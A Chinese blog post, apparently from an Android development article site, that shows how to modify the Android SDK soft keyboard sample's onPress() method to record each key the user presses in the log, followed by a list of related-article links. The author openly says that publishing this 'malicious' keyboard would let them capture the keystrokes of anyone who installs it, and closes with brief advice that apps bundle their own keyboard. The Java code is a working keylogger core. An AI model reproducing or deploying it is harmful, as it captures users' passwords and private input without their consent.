实现按键钩子,一般可以在框架,linux内核等上面进行,这次主要是在应用层实现的。

方案为:

获取android sdk提供的com_example_android_softkeyboard例子程序,然后,修改OnPress()

函数就可以实现了。如果把这个恶意的软键盘发布出去,人家安装了之后,我们还是可以截获到按键信息的。


public void onPress(int primaryCode) {
        int            iKeyboardResId;
        
        int            iCode;
        String         sLabel;
        String            name ;
        LatinKeyboard  CurrentKeyboard;
        StringBuilder  sb = new StringBuilder("");
        //android.os.Debug.waitForDebugger();
        if(mInputView == null)
            return;
        Keyboard currentKeyboard = mInputView.getKeyboard();
        CurrentKeyboard = (LatinKeyboard)currentKeyboard;
        iKeyboardResId = CurrentKeyboard.mXmlResId;
        //Log.d("XL: onPress rid", String.valueOf(iKeyboardResId));
        XmlResourceParser parser = getResources().getXml(iKeyboardResId);
        int eventCode;
        
        try
        {  
            eventCode = parser.getEventType();
            while (eventCode != XmlResourceParser.END_DOCUMENT)
            {
               //如果是开始标签  
               if (eventCode == XmlResourceParser.START_TAG)
               {  
                       //获取标签名称  
                        name = parser.getName();  
                      //  Log.d("XL: onPress LableName", name);
                        //判断标签名称是否等于key  
                        if(name.equals("Key"))
                        {  
                            
                            //获得标签属
                            sLabel = parser.getAttributeNamespace(0);
                            sLabel = parser.getAttributeValue(sLabel, "codes");
                            //iCode = parser.getAttributeIntValue(0, -1);
                            //Log.d("XL: onPress keyCode", String.valueOf(iCode));
                            //Log.d("XL: onPress keyCode primaryCode", String.valueOf(primaryCode));
                            iCode = Integer.parseInt(sLabel);
                            if(  iCode == primaryCode)
                            {
                            
                                sLabel = parser.getAttributeNamespace(0);
                                sLabel = parser.getAttributeValue(sLabel, "keyLabel");
                                
                                //Log.d("XL: onPress keyCode", String.valueOf(iCode));
                                //Log.d("XL: onPress keylabel", sLabel);
                                
                                sb.append("你按下的是: " + sLabel + "键" + "\n");
                                break;
                            }
                               
                        }  
               }
               else if (eventCode == XmlPullParser.END_TAG)
               {   
                    
               }
               else if (eventCode == XmlPullParser.TEXT)
               {   
                    
               }   
             //下一个标签  
             eventCode = parser.next();   
          }  //while
       }
       catch (XmlPullParserException  e)
       {  
           e.printStackTrace();
       }
       catch (IOException e)
       {  
           e.printStackTrace();  
       }  
        Log.d("[XL]", sb.toString());
   }

所以,相对安全的方式是自己的软件附带软件键盘,而不是用第三方的哦。

更多相关文章

  1. 【Android】AlertDialog中的EditText不能弹出软键盘的问题
  2. Android Application标签属性
  3. Android软键盘样式的控制
  4. Android 输入系统 与 按键
  5. 关于android软键盘enter键的替换与事件监听
  6. android Html.fromHtml font 标签支持设置字体大小和颜色
  7. [Android1.5]标签TabHost图片文字覆盖的问题
  8. Android 7.1 Launcher3 支持按键操作显示所有应用

随机推荐

  1. Android平台开发-Power management-电源
  2. 清单文件,测试,打电话和发短信应用
  3. Android 中文 API (101) —— AsyncTask
  4. 布局管理器
  5. android 判断sdcard是否存在,以及写入权限
  6. Android(安卓)2.0中电话本contact的读写
  7. Android倒计时功能的实现
  8. android程序编写的小问题
  9. Android系统基础介绍
  10. 高亮的关键字